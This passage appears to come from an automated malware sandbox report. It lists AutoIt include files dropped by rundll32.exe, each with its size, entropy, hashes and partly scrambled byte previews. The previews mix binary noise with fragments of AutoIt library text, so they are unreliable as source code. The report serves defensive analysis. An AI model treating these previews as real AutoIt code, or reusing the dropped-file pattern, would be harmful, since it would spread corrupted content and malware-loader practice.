Preview:	.E.H.!{...=............=8...>tYw..sn..t...A.>"..>..X.l,?.P..;.====================================================================================================================..; Title .......z1I.?'.j...Y..6..)...?tX~f.=.YM4.....'.@.GTT..V...S..(. Functions that assist with String management...; Author(s) .....: Jarvis Stubblefield, SmOke_N, Valik, Wes Wolfe-Wolvereness, W.M.D..3S..&...E.....nR.9.....xEu+.=Q..~....r.$.W_BW.`...>..Hw, guinness..; ==================================================================================================================.....i"N.Qn.......Y.=. ......q .-{. JC'......!.9....F..UG.N..;.==================================================================================..; _HexToString..; _StringBetween..; _StringE.\.D.1.y.L...d.....0.TW...8o^~!.or..h......h]m.SeC..C.w.H.UKringTitleCase..; _StringToHex..; ===============================================================================================.....i"N.Qn...0...D.C.Od`...q ..L..&W]\

C:\Program Files (x86)\AutoIt3\Include\StringConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3168
Entropy (8bit):	7.748707697096707
Encrypted:	false
SSDEEP:	96:zl46p4ktT4NPiauDVxU+IfuCYex8xEZBZ6AA/X+S:zTHt86auxU+IfuCYziZj6AXS
MD5:	315D6F6E507966445B42CE5BD682FD4C
SHA1:	DF95EBE29347ADA65F380331CC94AA3B73195128
SHA-256:	CCF9998D3F11FC90A2226AF0D6AE3789A1E9CAAAD36E14144C3852D52764A14B
SHA-512:	3B8F613B7DC4276054E05D296A22921E82A40BCFAEAE1C76E0AD6CEECBCD2A4C144C10E155C18126BD7DC107238CC830ED9FE55D02F7B7F7F5A91BA9088C67E7
Malicious:	false
Preview:	{..6.7Pk....jw.).....D....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..............J....~y...x=..E;._ph....:L3..Q,.)0.1]a.....ST..?..b......C......~m..[O:..u<....Zy.a..jy/..8v.Qo..[`....@....o.7...........\..6..2~t..u7...J>k.g..o~/..8...<.%.h........1.,........J....jc...d:..t.3.'.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!....!-e..V..>.........]G..7..d..Z....Y....m~..F7i..;i....#!.?..'0{.%e.Bh...3....]G..7..d..Z....Y....m~..F7i..;i....#!.?..'.L.K,..;..[c.....3....m.....K..P...W.<"..[i;..g:..4%<.l..yl2..81._&.0]`.........y.1......G...W.#&...~=....._r<.m..n-b..J..0...q].....@J..D..y......G...[.5c...l5.../Y...Q\|}."..t~2.K.. ...q].....@K..I..<......V....8.<,......rt...lAR.A.._^...]..,..b.......Z...o.<......G.D.[.7c..k'..e;.Lwo.l....}..l*..2.6Fg..........~..S......A.....8&..

C:\Program Files (x86)\AutoIt3\Include\StructureConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	64584
Entropy (8bit):	5.559319553344482
Encrypted:	false
SSDEEP:	768:788zUB4F/8MV7ml876oGpwY7rlrxchsvlXO2Ie:IM7mrl+Je
MD5:	B0F85A7EB566EE79BC9E247606799265
SHA1:	36034E62662B03568234366CEAA2F336B5B59C14
SHA-256:	CD4B2C32A9F0A4EA6BF98557B5683B19E206630AFA058553A5C8549BBD97D60E
SHA-512:	51565B01287B2D68A0D7EE5DC79BF0248F09936B6B29D6395E562536C5CEA6DE8EAE0FF1FA35A5AEA6EF35A67650BFF2E7E7C0C3295BEDB4E72928903D0BCCA0
Malicious:	false
Preview:	...h?..,yN.W...:....-.....]#y."..U...,.......m...pE.W..x.x..R~==================================================================================..; Title .........: Structures_Constants..; AH..pj..seI.\.......`U~.,.@Z!I\|....I.........?..R#..J..7.....,ws API functions...; Author(s) .....: Paul Campbell (PaulIA), Gary Frost, Jpm, UEZ..; ==========================================...9w.T<+.Y.3......l^m...]#y."..U...,.......m...pE.W..x.x..R~=====================....; #LISTING# ===========================================================================================...9w.T<+.Y.3......l^m..?j%d.k..8.i.E4....Y.7...g@r.J..$....(.NS..; $tagSIZE..; $tagFILETIME..; $tagSYSTEMTIME..; $tagTIME_ZONE_INFORMATION..; $tagNMHDR..; $tagCOMBOBOXEXITEM..; $tagNMCBEDRAz..M..c:6..Si..smh..'...r?j%d.k..&.c.\{...h.]...9..........bI; $tagNMDATETIMECHANGE..; $tagNMDATETIMEFORMAT..; $tagNMDATETIMEFORMATQUERY..; $tagNMDATETIMEKEYDOWN..; $tagNMDATETIMESTRING..; ...A..'UZo#`K..bk .jCt..Au$W.eZ..-.t.Pk

C:\Program Files (x86)\AutoIt3\Include\TabConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6507
Entropy (8bit):	6.615088679874854
Encrypted:	false
SSDEEP:	192:fH/ril+QaJ4dtBRErYLaWSCrCBgSJYQDp59wBjS:vDaZRHLEJlL9d
MD5:	9647F5A6EFD86AA52DACB018363DC4EF
SHA1:	47D8C5D144F5C65CBAE9D08182BEB25B763F5816
SHA-256:	718D5277E3E4A67CBCB7FA81E84E149C5FFF33F77697D66FF1EAD59415477A9F
SHA-512:	96749952C53FB57E5F1E45416617A90DE701782E6A2116A53B2ABF31105D471B97C0F79417C29F92CCA7FEEA2FDF914585297C4115F2D3913544485FBC0C1049
Malicious:	false
Preview:	..:mn...:.~..Z>?c./..F........H4....9....l.'...R.Oc+8J.[.$..==================================================================================..; Title .........: Tab_Constants..; AutoIt VW.'gm.\.7.>..f..U.7..c.........['..r.cNN\.\.!.c....7fq.S..7..: <a href="../appendix/GUIStyles.htm#Tab">GUI control Tab styles</a> and much more constants...; Author(s) .....: Valik, Gary Fr]. "".R...+..m..e.1..?.....H4....9....l.'...R.Oc+8J.[.$..===========================================================================....; ===============================================..i3?.A..-..m..e.1..?.....H4....9....l.'...R.Oc+8J.[.$..================....; #EXTSTYLES# ==============================================================================================..i3?.A..-..m..e.1..............}...t.[g.p...N.b...3.YW$.[.)..0000001 ; The tab control will draw separators between the tab items..Global Const $TCS_EX_REGISTERDROP = 0x00000002 ; The tab c]. \|m.\.r.u...5@...B..G........`..V.

C:\Program Files (x86)\AutoIt3\Include\Timers.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12149
Entropy (8bit):	6.405087954149125
Encrypted:	false
SSDEEP:	192:nUX2HI24nUAlEH9zvllvaY/GWkTef/lQUgen0VWoRfC+ff8ONrKpWdlO2Rkhcztp:nM124nRl4lvlZH/lM8ONri0p77OSriM
MD5:	42D518D08133509CB2FB7669C6A098B4
SHA1:	6847CB1E6BFCACD3E78C4D41D19575BDD823F631
SHA-256:	0E9BBAA88193DEC17B4FE994C1838AB9AB5CE122BFB1DCF47DBB0592BB3754E0
SHA-512:	73B062F097B53FB78BF4EB0DBD0F72C0804F39AD554EB669B35D363BBE2417FFB6E8FFF3E4FDA99580EBA4C23FB3DF9C4222B2D5B09A3287853018D5EF85C90C
Malicious:	false
Preview:	.Y.........O.]...:........(....B.u.n.W.~].y..(..H...s.H~..b.==================================================================================..; Title .........: Timers..; AutoIt Version ....P..e.......o.$..s...;.).f....;.^$Q....'..e..L....`.U..<.ions that assist with Timers management...; An application uses a timer to schedule an event for a window after.Q.....U.....>...r.0.1.\.p.=.)D...h.s.J.c@.d..5..f....:..&..7. specified interval (or time-out value) for a timer elapses, the system notifies the window..; associated with EX......A.H.O.6...:.c..0.^.f.r.@....1.7K..-..d.5..FU...:..c..0.k rate and how often the..; application retrieves messages from the message queue, the time-out value is only aA@.....G.F. .w...r.1.t...;.=..8...h.!A..Nj.d..(..H...s.H~..b.=============================================================================================================....; #VARIABLES# =....[..U...j..'.~..`...(....B.u.n.

C:\Program Files (x86)\AutoIt3\Include\ToolTipConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5840
Entropy (8bit):	6.70025011654522
Encrypted:	false
SSDEEP:	96:bGCs0z5ZZ0a9Ualg53f+6ZSnB7E/mE4rzHxcBS:bGCsKX0aTlif+6ZSn6cXRcBS
MD5:	DDABBDB87E517C994A35EB334CC3F769
SHA1:	B05B4288A1475E1A4735088AD3C461C5FD235B20
SHA-256:	F80536FA5A39AE3277EA8B9B2CFA6852EBAA67F87FC1692A85B8A1F58B696F62
SHA-512:	301C6FC0ED07A06226076E8BDA5069A41B3FE303515D4724628F27E74A00B821E8C2F246CD9E81655494273A648A4EF870A22F51CF96CFEC918331527A46501F
Malicious:	false
Preview:	$..F#..s...h..,j.3....C.<o.......+..........S!<..Bs`..3.V.V.'==================================================================================..; Title .........: ToolTip_Constants..; AutoN.s...C+.Z-...N.%....=.S.X.....8.....-.....oi..,_.8.^\|.....t ...: Constants for ToolTip functions...; Author(s) .....: Valik, Gary Frost, .....; ===========================================:...rF.+.x.]0...]......;."r.......+..........S!<..Bs`..3.V.V.'====================....; #CONSTANTS# ==========================================================================================:...rF.+.x.]0...]......;..Eq.....U^....3.....UR..Y;n`..v.[.[.01..Global Const $TTF_CENTERTIP = 0x00000002..Global Const $TTF_RTLREADING = 0x00000004..Global Const $TTF_SUBCLASS = 0x00000010...I ..z....~...4.Uh...E.?r.......&.....P.....N_n..c_j..{Q.).$.OTE = 0x00000080..Global Const $TTF_TRANSPARENT = 0x00000100..Global Const $TTF_PARSELINKS = 0x00001000..Global Const $TTF_DI_SETN..hoF.&Tu.P=...P..:...K.l<W.....z^....

C:\Program Files (x86)\AutoIt3\Include\ToolbarConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14047
Entropy (8bit):	6.783123343065329
Encrypted:	false
SSDEEP:	384:X6VaJqlDT2t3SIVmc7+a/XakOEBlPVEKEoVkja:KViAX2t3S0v/xlPVEKEoVb
MD5:	2F82CD6D2BEBEE0E8BA4A5C7F58A6316
SHA1:	090838FD54D41E2402063BCDD25C80D152FCFB54
SHA-256:	085184AB15F903F15967A1057FE7F1C8020550CC12FF9863BCDB5BFAC4FEA577
SHA-512:	4C2D6D37B8ABDF85F4B1DD0B3615FABB0CAEF66F27A0C1D13DE5A154A27F3C606F36E22E33012C90269D34FBBB6FB37F98BE1920DD8AFFBF9ED36D8A150E8F03
Malicious:	false
Preview:	<L..oo\|.f8B..I...Vt......6.~......h.. "..c]...qE...k.-.[../.==================================================================================..; Title .........: Toolbar_Constants..; AutoVQ....xc>+.?}\|..m....7..\|.y.~.$......{..=Z..2..N.FC..B%.b..O.}L ...: Constants for Toolbar functions...; Author(s) .....: Valik, Gary Frost, .....; ==========================================="....67lx.8`r..~..."....*.6.~......h.. "..c]...qE...k.-.[../.====================....; #CONSTANTS# =========================================================================================="....67lx.8`r..~..."..=.P.d.".....!..I]...).g..X..... .V.."...Global Const $TBIF_TEXT = 0x00000002..Global Const $TBIF_STATE = 0x00000004..Global Const $TBIF_STYLE = 0x00000008..Global ConlQ....BL...D....~.../....'.../....:..i?...).y..5..i..-.VC.".00020..Global Const $TBIF_SIZE = 0x00000040..Global Const $TBIF_BYINDEX = 0x80000000....Global Const $TBMF_PAD = 0x00000001..Glo}D...ey%e.Q.....a.^~.....'.;.s......9.

C:\Program Files (x86)\AutoIt3\Include\TrayConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2979
Entropy (8bit):	7.713860899961182
Encrypted:	false
SSDEEP:	48:5I2bGjPjhkCbLLgfeDzepCJ4Cfc/Z1xSRWIlKS:534hDLga6W4J/Non0S
MD5:	4CFC8544C29074596530BA2EF06C4308
SHA1:	6B575F16EDE1585CD56E80D7C40782A5E6AE9A5B
SHA-256:	631832BD111039E5C99AC209EFA22A62CA0400D7494E1B2BE265A7F6D9C16B02
SHA-512:	160F6C6659924A8E5251A0F495617C250435A1BC788FEF6731AD1404167586F0359E5532FB9705EC21DE78E958FC9CAAF7E67C93ECDF2A2AD397885000555AEE
Malicious:	false
Preview:	.G{..g.u.@......Z.s.....y....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\>Z.n...6....%....u....9f........h.N.\|r.y.'../.@5.\!E#........;-R>.;...z....%....<...)Z.A.....8.R.}._w.x..).]a..f.0.@...q.x.F4..z.^..~....-.."%\|...~....=.S.a..p.l..h..5.0s.t.\...l.o.A\|.....(.\..'.....>...oy;w..S....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..~....h.x.]h%....f..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....u.....Ld....{..(.A/V-......%.&\.m.s...g....6....f.\|j(G..N....E.6.(.%+.;..4.Jp..\|.t.f......w.Q1.n...)....Y.........AZ..@....'.Z.3x.7.6....oL.5F.]......8.;U>Z."...6.s..x..........X%..!..h.6..1Jy.0..f.K{.S{.u......}.m._%.=..6.R..+....{.....J9..0...u....\|.6.#...@f.\6?B.v....P.Xv..s...P.\..j....(.....T#..=...h...'6{..-..*.mz..fK4.}....Q.Z#...s...b.:..d....4...asA(..,.......!.GT....$.B5..\|.d......G.^'r......o.........:...

C:\Program Files (x86)\AutoIt3\Include\TreeViewConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9715
Entropy (8bit):	6.707599542823971
Encrypted:	false
SSDEEP:	192:m2znO0gMxWw9OCvrL2xwhJ2DTeZiWFEu84+AuxNUkS:m2zOZQWwQCzLO2J2DacWz84jcNU/
MD5:	BEEEC7D754F888E41A38EAEEA6FEA054
SHA1:	449BBB0361283BEC88B98D0C2342D45202F78984
SHA-256:	82BA4C3790A0B12BC7F6F5C4D5590F598A154F7D67241646D5663691259A3118
SHA-512:	D788D7693A9D2C2529731DB7EC0D9BB9E46FBF35A433E2F4FE08E5657B393AD8D50A69051F6148610D82F5FB33C68E96579217C651DA823FB4ACCC6B3029B8E2
Malicious:	false
Preview:	)....k.VL..0r9.....M.(.$@.<..M../.b.......bU.z4..Q8B...i.49.==================================================================================..; Title .........: TreeView_Constants..; Aute....{.@...s-.(....X.W]k#.P.\.V.ur.q....b.8.I4aO.LA...T=E}mMn ...: <a href="../appendix/GUIStyles.htm#TreeView">GUI control TreeView styles</a> and much more constants...; Author(s) .....:....u..&..7ri..@.N.H~l..<..M../.b.......bU.z4..Q8B...i.49.==========================================================================================....; #CONSTANTS# ====================7..#..\.Hn.&....S.[m\%.!..M../.b.......bU.z4..Q8B...i.49.===============================..; Styles..Global Const $TVS_HASBUTTONS = 0x00000001 ; Displays plus (+) and minus (-) buttons no....q.C...=c.r..Y.c.!<.z.p.q.M.f7........;.z)r..\5O...f.2$wses lines to show the hierarchy of items..Global Const $TVS_LINESATROOT = 0x00000004 ; Uses lines to link items at the root of tb....p.A..xYPXt..X.-..#.8.H.a/f.[C....

C:\Program Files (x86)\AutoIt3\Include\UDFGlobalID.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7003
Entropy (8bit):	6.512763228735304
Encrypted:	false
SSDEEP:	96:pJurvW2+Unmqr7htApTl7a/51229+4ZHrglO2ord3fJS:pJYvWBUmAhATlu7BZUo53hS
MD5:	18E433160BD45CFEB5A1D497871BB8FB
SHA1:	A4BA45183373FF11E18E31CCF86C3E7DEA9DCAF1
SHA-256:	E40F75F25464352D8A55AD5D542DF9D23C3F725D4BB0DBA7587D10EC094C7958
SHA-512:	0A7765C14DCD46BAFA76B793D6A22C8D40F538993F725D1DE80BAA8657EF043704037C3E4163AE32436747AA70316926BA81E6B5495F39B3908236CC12A3A16E
Malicious:	false
Preview:	.C.....U.p...J/.3si^8xt=.TZ..qP.&..].7..[W.5-..2\|.7.A.....X..====================================================================================================================..; Title ...........J....,M..6=Cv@.=..UA..%E.:..S.c. ...9....J./.C.............: English..; Description ...: Global ID Generation for UDFs...; Author(s) .....: Gary Frost..; ===========================.........".U..}...g 7.p!, ......8..u....~.=.......z.).2.....X..====================================....; #CONSTANTS# ==========================================================================.........".U..}...g 7.p!, ......8..u....~..}N.uA..{(.g./...:..obalIDs_OFFSET = 2..Global Const $_UDF_GlobalID_MAX_WIN = 16..Global Const $_UDF_STARTID = 10000..Global Const $_UDF_GlobalID_MA.u.......*.[..J/..6rhS!<Rr..U..ZF....u...Snc.C...g..V.[.....U..0010000..Global Const $__UDFGUICONSTANT_WS_VISIBLE = 0x10000000..Global Const $__UDFGUICONSTANT_WS_CHILD = 0x40000000..; =======.........".U..}...g 7.p!, ......8..u....

C:\Program Files (x86)\AutoIt3\Include\UIAWrappers.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	110355
Entropy (8bit):	6.8363392212393705
Encrypted:	false
SSDEEP:	3072:sReFbuLk9bEDLlnu28J6Ynl8F9+tZydQrYLgG:sReFyLjD8JrloyqQG
MD5:	60CDCAA007B6BAB5BAF3EB1D31DF0952
SHA1:	9C8687F5FC66EB9075DD70869FB2E8E9F6FB4367
SHA-256:	02B8F16EF73AE36F62FA1A9014E7F2BA52F406371B7ECD8720A850494ACC5DD7
SHA-512:	DD08E6CA984646205A7DE4B201B71AB8940B659E2D10100BF68DA075FC7FFB820627FAAC5207CEFC6B1EAA3EEDFEF0DE336F9EC85779EC42C1BE7937720C95BF
Malicious:	false
Preview:	^l@.n.......<.k.........dD........-.g....>..c#.{.m.^Y.AK../.w 5 -w 6 -w- 7..;~ #au3check -q -d -w 1 -w 2 -w 3 -w- 4 -w 5 -w 6 -w- 7..#Region includes..#include <EditConstants.au3>..#includ...*T........-.q...KCa...uI....U.Z..bAp.I.K{.G`p.:').`s._...z.e <AutoItConstants.au3>..#include <WinAPI.au3>..#include <Array.au3>..#include <ScreenCapture.au3>..#include "CUIAutomation2.au3_ ?ND(.......y.Z.....a...~Q....F.@..hE-.I._c..wl.t!s..V.Y...i.ekes/Home/windows-programming/dotnet-registering-an-object-to-the-running-object-table-from-a-non-com-project..;~ TODO gethistog.LXMn .......8.>..........d@....V..-iV.g._j.yfl.> n.;..C...`.IElement, $UIA_BoundingRectanglePropertyId)..;~ .local $name=_UIA_getPropertyValue($oUIElement, $UIA_NamePropertyId)..;~ .local YY.P!........5.@..........:....d.....iV.g.\|}.^Ff./z>.6H..W../.t[3] + $t[1], $t[2], $t[4] + $t[2])..;~ ._ScreenCapture_Capture($name, $t[1], $t[2], $t[3] + $t[1], $t[4] + $t[2])..;~ ; Find a .XG.!!......!.X...X1.....2D.......dN

C:\Program Files (x86)\AutoIt3\Include\UpDownConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	7.422761594005271
Encrypted:	false
SSDEEP:	24:8fDxcttDwT0okz5HJlStDxcttDxFKDxcttDxc+Vr4NjpAlBLixctt+I8btHQmS:oDxcttD48HJYtDxcttDxFKDxcttDxc+r
MD5:	BD59DE330E872EF0EBD44CF2D18DC73A
SHA1:	FB7A9D521BE82B368B0D9811EF3BD88C6CB07A88
SHA-256:	94958C12B8E13B3A7B6F4444245A5BCFDD263A3176CE9535151D19337883EEB0
SHA-512:	8744E91075D362FFB0E81070CC0C0543F459A8C716658992252CA6823E3F1BBF73560416BA7D74666A0F8A8177A914A47CC7CA949E49EB6FFD6B3F9D0D966900
Malicious:	false
Preview:	...%......'......._..w...z#.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.r.o....5f.....f..n../..\|.q. .N.R{.v..&.G...n\|Y.N.#.....Us.....4.Q.Y3n..8m..M..h..n..!..}.a...I\|+4.\..H..Y..u}0.@.\|..D..,........1W1..vD.....$.\n..b..H.i....6tF.{.._..E..jW....5.....If.....a...7Qu..+f.C..<.A4......s...SYR&.6.B..F...vz{.N.'..."..:....+.u.t.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.Y3X.y ..b....{...2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.d>.....u..}..2....;.B..L.2.%.Q..A...'.-.S.{...Y.Ht.....8.B.i.h.T......$.\M..c..Y.&...R..+.\.3\|.=y..:#h.^.w.....(.....v._..}....W..h....{`..?...4.u.M.Cn.8..E....^@O.".....#.!i...5.K.^~9..8o.C..<.....P..q.H.:.uQ./.`.\..q#..uqq.N.)...D. ......J.4..ju.i{.....B.C/..c..W.u._.t5rP.W.6..\...' .d.*.....6&.....P.,..v....P..h.u..8..7..2..._.N.U}.t..N..\..:`d...5.....(.....v._..l....\..j....p...@.

C:\Program Files (x86)\AutoIt3\Include\Visa.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	40287
Entropy (8bit):	6.472686292349656
Encrypted:	false
SSDEEP:	768:5GNFfLi46ne8lXnLcg+KpcMwhxWeWUY1NjPCULh:5GriJnLcpjhEeW3tt
MD5:	A7D27F5713734C893050E54B403708A4
SHA1:	04BF38A1B2ED8EC76E29FFC5024E2C700C83F5A7
SHA-256:	6037D802A7B88AD5FA95E71D0E28807DF7E2285F007EFD9B17D2011D90546E85
SHA-512:	82D1B250902129A56D5FC5FC0AE8B083C0926E5802C907E9F0C0D5ABE49FDE0DA03E900E9F2C5DFE716E7F0945FDCCCB8BA11B7256B1C3507B56257CB8DC1361
Malicious:	false
Preview:	R....t.e..!.[.....}...}..ev.A-..4E.V.lA#,J.=..y.2..._O...U=.====================================================================================================================..; Title .._O.A./.:....]\.....U..6..?;zk...s....^8aFy..Q....uB.x5$f..R .nglish..; Description ...: VISA (GPIB & TCP) library for AutoIt...; Functions that allow controlling instrument.A...f. ....P=....0...s..vt4k...}....P)L?+N.Q....\|B.7oe:..Hs.ectrum analyzers, power supplies, etc)..; that have a GPIB or Ethernet port through the VISA interface..; QA.O.!. ..L.......=L...s..$=u'..)N..B.lEAH..q....`...;$f..F:.Angel Ezquerra..; Dll ...........: visa32.dll..; ===============================================================================L\.R.<.=..Q..l.....C!...n..ki)v...`....M4Qq......~.)..{6'e..E-.--------------------------------------------------------------------..;..; visa32.dll is in {WINDOWS}\system32).{Z.O.!. ..L..q.....n......5;y&U.>J.L

C:\Program Files (x86)\AutoIt3\Include\WinAPI.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1834
Entropy (8bit):	7.579930957417193
Encrypted:	false
SSDEEP:	48:eJi7GAacsbpyiJa4SCQsXJ9F2hypywyUpyIIVBNS:sJAacwpSCQsL2q47S
MD5:	66B0B6D27DDF9C07E3CCED7CBCDC4080
SHA1:	0910C25BB9C4F1F865C47E6CBF81B264B3417664
SHA-256:	5A7B3E2892C3143E167C390000CA85973ECF77E838FFAD3258EBC1E58045FFCE
SHA-512:	B6EB3A61285EBFDA65A5D3733BEA876E1AD73F6D2E17794D6A02270397AF5B040E5E981197E0395AE613126264D8461013236286D6CD5F2D91C57C6C5BAD90D7
Malicious:	false
Preview:	n.0..h.r;J...g.K..d..yC......4.......qdO:c..o....Bj.'2..V..Q.".-..s.d8D..g.ea..f..=......../.......+v.h4.?A`...Tb.cu.s..].4.?..?..5L.....#(.o..xU......s.l.F...ib.>6.f.{...bi.0#..d..U.~.Sy.t.tzP..H.2z..~..^I.......n...G...ly.7c.PB+...`V..8.d..@.c.+@...4.K.....f..d...^I.....M.B.....arAyA.[#Y.6.F(.6d...@.Z.!.:..?.~xd.....)z..............`.6.....C~.>e.T.:....o. ;.uC.c.#..:.y.9wP...`./f.....?q.......".O......4.5u.@.l.P.Hh.........8.\|~.>.yuI...J..a..Z.p......).......'@.5W.\|/`...@s.aZ..y..X.).~Q.t.VFl.....'}.....sE......). .,...+v.h4.?A`...Tb.cu..~".}.%.2..e.vc....I.(k..n...JO.......n...G....,Ax_.q'Q.R..;.~j..-^...p.cN. .+....W.{5..7... ......}.\.X...8\f+.._4.O..;.~j..-^...p.cN. .+....W.{5..7... ......}.\.X...8lQ-.a.}....(.my..>M...$.:..n.VFl...J.3\|..~...oU.......n.O.S....,A.s.V.`...Nh.my..04.Z.".-S.M.7uD...J..i..b..=D...............qxA.c.Z+}...Oe.8.0K.[.m.0S.J.yWu...C.K...K..rT......n.[.5...%T.6f.P.e.Z.@s.....0..R.".*_.N.vy......'$.x..o......$.M.5...

C:\Program Files (x86)\AutoIt3\Include\WinAPICom.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9788
Entropy (8bit):	6.171402397649584
Encrypted:	false
SSDEEP:	96:pLECz5N2A4RkWHin/WOyjbh5LFW4QPUIjBS6m4j8c0RGj0Cd/VlqqPuqT+OS:jKhrHiORx/Ral0kN8qGqTPS
MD5:	E4C1309593FF62233806C844BACAA2D9
SHA1:	50DD31920F3E46B1FD486DDD69440229AF52C130
SHA-256:	97C15D79947E42CA0413FD07A77D601734EC8607B793D135E89C5F89F8115CDE
SHA-512:	70528F87F79258BBB909BCFDB794E25CC1E257C40930E5896576366FA4AD17280917BE97015AF050C17C0F3EF77B06882C487E2FFF7DCA8F7570C8489F6E9651
Malicious:	false
Preview:	.b\|.......G..p.+....L...z<..?lS/...,.....P....$E.....Ou...IInternals.au3"....; #INDEX# ===================================================================================================.6/.A...BY...@#5...pMN}...OUy.\|..o...x..8.23o&J.9N.....:.....rary for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, constants and functions for the WinAPICo.%s.O...>.P..Um!...TX@...Y.>.6..+..H..l.N^.;2.p...]&.Rj....=========================================================================================================....#Region Global Vari.i~....._'K...p\|...w\|U...x<...job......l.N^.;2.p...]&.Rj....========================================================================================..; ====================================.6/.A...BY...@#5...GKS....Hj.o..\|......l.N^.;2.p...]&.Rj....===========================....; #CONSTANTS# ===================================================================================.6/.A...BY...@#5...GKS....Hj._%{-....

C:\Program Files (x86)\AutoIt3\Include\WinAPIConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5772
Entropy (8bit):	6.828213366002933
Encrypted:	false
SSDEEP:	96:BRbaG7hkPwGwwBOCEi4qgKyZc0/fDwjupPM4xlcBS:L1FkPwGhjuxM4xlcBS
MD5:	0DE2018B5AD2E93B1EDA0F950AB80548
SHA1:	F3F2BA10B4248A8DA36B84F92CA5ADC6936254D5
SHA-256:	838CD13FBFFDE76DEF874D0A1432CA77345009689E4BCB8CFCD3494C0B02FD16
SHA-512:	F007AB92FA20D5E29A9E13F3333F7FFD3AC47A9181CCA091970A169D0C1BD480984C90F743604CF1A179A84A9669432232B3529770338CDCF50956129E2CF73C
Malicious:	false
Preview:	..'....Kc.........%.ip.s..!.....qj....LL.......o..22d.An...i4u==================================================================================..; Title .........: API Constants UDF Library..&...Z!..s..0.Lq.iJ.`.WrT.....y..._@.......'..j/w.R}...tL&glish..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ======================.Vt.....s...C..-..8.......<.....qj....LL.......o..22d.An...i4u=========================================....; #CONSTANTS# =====================================================================.Vt.....s...C..-..8.......<.....qj....LL......X..`m8.\..[. )lHGDI_ERROR = Ptr(-1)..Global Const $INVALID_HANDLE_VALUE = Ptr(-1)..Global Const $CLR_INVALID = -1....; Stock Object Constants...K ....@....1...4...].X.@sN...Z5'..........&.BM.....z..F.ED = 0x01..Global Const $MB_COMPOSITE = 0x02..Global Const $MB_USEGLYPHCHARS = 0x04....; translucency flags..Global Const $ULW_At;.....6...t...Xi.cQ.E..%h...a.....Q

C:\Program Files (x86)\AutoIt3\Include\WinAPIConv.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29874
Entropy (8bit):	6.117345156144728
Encrypted:	false
SSDEEP:	384:8MD6LDmj7uplJhQElSK2kWzxCYSTlrlH/fbjMV0/dCcUl7kArmEyWKS3lQoV27Nc:GPlk3SRZHHkaD8qqQoAJfnlW
MD5:	7F2C43DC56CC72C201BB74D7CD573CA1
SHA1:	4CC6235D99764BFF829B18BB9AD014A41B7AC9CC
SHA-256:	1F635DE1E354B9A9FDB26CFA22754174C54214F7FFF81960C454947035644778
SHA-512:	C8D965129556F6B8717886C64A872E13F69BCEA8E2CC74D6CEE096269DC9628992C1CC99A44044817BFE55B6BA3E2DD6B207214658B24891C54CBA40CA2A7EAE
Malicious:	false
Preview:	.......C.....<..s.#(..g..B...V.v......Pr..F.S,.........S.P.Jh..tureConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ================================================================........Z._...mIpv.B>..].J...,.,Y@F.;Z...]3+...}..<.R.Wn.. .........: WinAPI Extended UDF Library for AutoIt3..; AutoIt Version : 3.3.16.1..; Description ...: Additional variables, const......B.....E...#T+$._w..@...~.X....S.K5j...!{b..h......\..:*.shied, jpm..; ==================================================================================================================........Z._<..s&(,..m.....S.G..x...[uG.I.@My..!...<.x..9%.RIABLES# ===================================================================================================================..; ........Z._...mIpv.B>..].J...,.,Y@F.;Z...]3+...}....O..'N.===============================================================....; #CONSTANTS# ===============================================........Z._...mIpv.B>..].J...,.,Y@F.

C:\Program Files (x86)\AutoIt3\Include\WinAPIDiag.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33196
Entropy (8bit):	6.815106725103952
Encrypted:	false
